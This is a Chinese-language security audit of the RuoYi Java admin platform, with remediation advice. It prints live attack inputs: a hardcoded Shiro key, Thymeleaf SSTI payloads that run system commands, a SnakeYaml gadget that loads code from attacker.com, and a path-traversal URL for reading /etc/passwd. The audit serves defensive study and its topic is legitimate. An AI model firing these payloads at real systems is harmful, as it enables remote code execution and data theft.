【代码审计】若依后台管理系统
字数 1942 2025-08-26 22:11:57

若依后台管理系统代码审计报告

一、项目简介

RuoYi是一个Java EE企业级快速开发平台,基于经典技术组合:

  • Spring Boot
  • Apache Shiro
  • MyBatis
  • Thymeleaf
  • Bootstrap

内置功能模块包括:

  • 用户管理、部门管理、岗位管理
  • 菜单管理、角色管理、字典管理
  • 参数管理、通知公告、操作日志
  • 登录日志、在线用户、定时任务
  • 代码生成、系统接口、服务监控
  • 缓存监控、在线构建器、连接池监视

二、环境搭建

系统要求

  • JDK >= 1.8 (推荐1.8版本)
  • Mysql >= 5.7.0 (推荐5.7版本)
  • Maven >= 3.0

部署步骤

  1. 创建并导入数据库:
create database ry;
use ry;
source /path/to/ry_20200323.sql
source /path/to/quartz.sql
  1. 修改数据库配置:
    src/main/resources/application-druid.yml 中修改数据库账号密码

三、漏洞审计

1. 第三方组件漏洞

1.1 Shiro组件漏洞

漏洞版本:1.4.2

漏洞类型

  1. 密钥硬编码
  2. 反序列化漏洞

漏洞位置
RuoYi-v4.2/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ShiroConfig.java

关键代码

// 硬编码密钥
cookieRememberMeManager.setCipherKey(Base64.decode("fCq+/xW488hMTCD+cmJ3aQ=="));

漏洞利用

  • 使用已知密钥构造恶意RememberMe Cookie
  • 由于Shiro 1.4.2使用AES-GCM加密模式,需使用对应payload

1.2 Thymeleaf组件漏洞

漏洞版本:2.0.0

漏洞类型:SSTI(模板注入)

常用payload

__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
http://127.0.0.1:8080/doc/;/__${T(java.lang.Runtime).getRuntime().exec("whoami")}__::main.x

触发点

  1. /monitor/cache/ 接口
  2. /demo/form/localrefresh/task 接口

利用方法
POST请求构造payload:

${T   (java.lang.Runtime).getRuntime().exec("calc.exe")}

1.3 Fastjson组件漏洞

漏洞版本:1.2.60

漏洞类型:反序列化漏洞

漏洞位置
VelocityUtils.java 中使用 JSONObject.parseObject(options)

触发流程

  1. 通过genTable.getOptions()获取options参数
  2. 最终在GenControllerpreview方法中处理

1.4 SnakeYaml组件漏洞

漏洞版本:1.23

漏洞类型:反序列化漏洞

利用方式
通过定时任务功能,在"调用目标字符串"处输入:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com"]]]]')

2. 单类漏洞

2.1 SQL注入漏洞

注入点一

  • 位置:SysRoleMapper.xml
  • 接口:POST /system/role/list
  • 参数:params[dataScope]=*
  • 利用:添加SQL注入payload

注入点二

  • 位置:SysDeptMapper.xml
  • 接口:POST /system/dept/list
  • 参数:params[dataScope]=*

注入点三

  • 位置:SysUserMapper.xml
  • 接口:POST /system/user/list
  • 参数:params[dataScope]=*

注入点四

  • 位置:SysUserMapper.xml
  • 接口:POST /system/role/authUser/allocatedList
  • 参数:params[dataScope]=*

注入点五

  • 位置:SysUserMapper.xml
  • 接口:POST /system/role/authUser/unallocatedList
  • 参数:params[dataScope]='

2.2 任意文件读取/下载漏洞

漏洞位置
CommonController.javaresourceDownload方法

接口

GET /common/download/resource?resource=/profile/../../etc/passwd

漏洞原理

  1. 获取本地资源路径:D:/ruoyi/uploadPath
  2. 拼接用户输入的resource参数(去除/profile前缀)
  3. 使用FileUtils.writeBytes()输出文件内容

四、修复建议

  1. Shiro组件

    • 修改默认密钥
    • 升级到最新版本
  2. Thymeleaf组件

    • 升级到最新版本
    • 对用户输入进行严格过滤
  3. Fastjson组件

    • 升级到安全版本
    • 使用安全模式
  4. SQL注入

    • 使用预编译语句
    • 避免直接拼接SQL
  5. 文件下载

    • 对文件路径进行规范化检查
    • 限制访问目录
  6. SnakeYaml

    • 避免反序列化不可信数据
    • 使用安全配置

五、总结

若依后台管理系统存在多处安全漏洞,包括:

  1. 第三方组件漏洞(Shiro、Thymeleaf、Fastjson、SnakeYaml)
  2. SQL注入漏洞(5处)
  3. 任意文件读取漏洞

建议开发者及时修复这些漏洞,加强系统安全性。

若依后台管理系统代码审计报告 一、项目简介 RuoYi是一个Java EE企业级快速开发平台,基于经典技术组合: Spring Boot Apache Shiro MyBatis Thymeleaf Bootstrap 内置功能模块包括: 用户管理、部门管理、岗位管理 菜单管理、角色管理、字典管理 参数管理、通知公告、操作日志 登录日志、在线用户、定时任务 代码生成、系统接口、服务监控 缓存监控、在线构建器、连接池监视 二、环境搭建 系统要求 JDK >= 1.8 (推荐1.8版本) Mysql >= 5.7.0 (推荐5.7版本) Maven >= 3.0 部署步骤 创建并导入数据库: 修改数据库配置: src/main/resources/application-druid.yml 中修改数据库账号密码 三、漏洞审计 1. 第三方组件漏洞 1.1 Shiro组件漏洞 漏洞版本 :1.4.2 漏洞类型 : 密钥硬编码 反序列化漏洞 漏洞位置 : RuoYi-v4.2/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ShiroConfig.java 关键代码 : 漏洞利用 : 使用已知密钥构造恶意RememberMe Cookie 由于Shiro 1.4.2使用AES-GCM加密模式,需使用对应payload 1.2 Thymeleaf组件漏洞 漏洞版本 :2.0.0 漏洞类型 :SSTI(模板注入) 常用payload : 触发点 : /monitor/cache/ 接口 /demo/form/localrefresh/task 接口 利用方法 : POST请求构造payload: 1.3 Fastjson组件漏洞 漏洞版本 :1.2.60 漏洞类型 :反序列化漏洞 漏洞位置 : VelocityUtils.java 中使用 JSONObject.parseObject(options) 触发流程 : 通过 genTable.getOptions() 获取options参数 最终在 GenController 的 preview 方法中处理 1.4 SnakeYaml组件漏洞 漏洞版本 :1.23 漏洞类型 :反序列化漏洞 利用方式 : 通过定时任务功能,在"调用目标字符串"处输入: 2. 单类漏洞 2.1 SQL注入漏洞 注入点一 : 位置: SysRoleMapper.xml 接口: POST /system/role/list 参数: params[dataScope]=* 利用:添加SQL注入payload 注入点二 : 位置: SysDeptMapper.xml 接口: POST /system/dept/list 参数: params[dataScope]=* 注入点三 : 位置: SysUserMapper.xml 接口: POST /system/user/list 参数: params[dataScope]=* 注入点四 : 位置: SysUserMapper.xml 接口: POST /system/role/authUser/allocatedList 参数: params[dataScope]=* 注入点五 : 位置: SysUserMapper.xml 接口: POST /system/role/authUser/unallocatedList 参数: params[dataScope]=' 2.2 任意文件读取/下载漏洞 漏洞位置 : CommonController.java 的 resourceDownload 方法 接口 : 漏洞原理 : 获取本地资源路径: D:/ruoyi/uploadPath 拼接用户输入的resource参数(去除 /profile 前缀) 使用 FileUtils.writeBytes() 输出文件内容 四、修复建议 Shiro组件 : 修改默认密钥 升级到最新版本 Thymeleaf组件 : 升级到最新版本 对用户输入进行严格过滤 Fastjson组件 : 升级到安全版本 使用安全模式 SQL注入 : 使用预编译语句 避免直接拼接SQL 文件下载 : 对文件路径进行规范化检查 限制访问目录 SnakeYaml : 避免反序列化不可信数据 使用安全配置 五、总结 若依后台管理系统存在多处安全漏洞,包括: 第三方组件漏洞(Shiro、Thymeleaf、Fastjson、SnakeYaml) SQL注入漏洞(5处) 任意文件读取漏洞 建议开发者及时修复这些漏洞,加强系统安全性。